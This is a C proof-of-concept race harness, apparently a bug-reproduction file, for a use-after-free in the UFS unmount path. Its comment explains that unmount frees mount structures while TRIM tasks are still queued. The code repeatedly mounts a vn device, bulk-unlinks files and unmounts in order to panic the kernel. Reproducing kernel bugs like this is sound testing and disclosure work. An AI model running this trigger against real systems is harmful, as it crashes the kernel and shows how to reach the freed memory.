DF-0793 / trim_race.c
/* * DF-0793 aggressive race harness. * * Tries to win the UAF race by backlogging taskqueue_swi with many * ffs_blkfree_trim_task entries right before umount frees fs/ump/devvp. * * Each unlinked file -> ffs_truncate -> ffs_blkfree (TRIM path) -> * vn_strategy(devvp, FREEBLKS) completes synchronously on vn -> * ffs_blkfree_trim_completed -> taskqueue_enqueue(taskqueue_swi). * * ffs_unmount (ffs_vfsops.c:824) does ffs_flushfiles -> vinvalbuf/VOP_CLOSE/ * vrele/kfree(fs)/kfree(ump) with NO taskqueue_drain(taskqueue_swi). If * umount reaches kfree(fs) before the swi taskqueue drains all the pending * ffs_blkfree_trim_task entries, the next task dereferences freed M_UFSMNT * heap / freed device vnode -> UAF panic. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/ucred.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #ifndef MNT_TRIM #define MNT_TRIM 0x01000000 #endif struct ufs_args { char *fspec; struct export_args export; }; #define MNTPT "/mnt/df0793" #define DEV "/dev/vn0" #define NFILES 4000 static void churn(void) { int i, fd; char path[64]; char buf[4096]; memset(buf, 'Z', sizeof(buf)); /* create + write + close many small files */ for (i = 0; i < NFILES; i++) { snprintf(path, sizeof(path), MNTPT "/f%d", i); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) break; write(fd, buf, sizeof(buf)); close(fd); } /* unlink them all in a tight burst -> backlog of ffs_blkfree TRIM tasks */ for (i = 0; i < NFILES; i++) { snprintf(path, sizeof(path), MNTPT "/f%d", i); unlink(path); } } int main(int argc, char **argv) { struct ufs_args args; int loops = 60; int force = 0; int i; if (argc > 1) loops = atoi(argv[1]); if (argc > 2) force = atoi(argv[2]); mkdir(MNTPT, 0755); for (i = 0; i < loops; i++) { memset(&args, 0, sizeof(args)); args.fspec = __DECONST(char *, DEV); args.export.ex_root = -2; if (mount("ufs", MNTPT, MNT_TRIM, &args) != 0) err(1, "mount iter %d", i); churn(); /* RACE: umount while swi TRIM tasks pending */ if (unmount(MNTPT, force ? MNT_FORCE : 0) != 0) { if (unmount(MNTPT, MNT_FORCE) != 0) err(1, "unmount force iter %d", i); } if ((i % 5) == 0) { printf("[%d] ok\n", i); fflush(stdout); } } printf("DONE %d loops no panic\n", loops); return 0; } |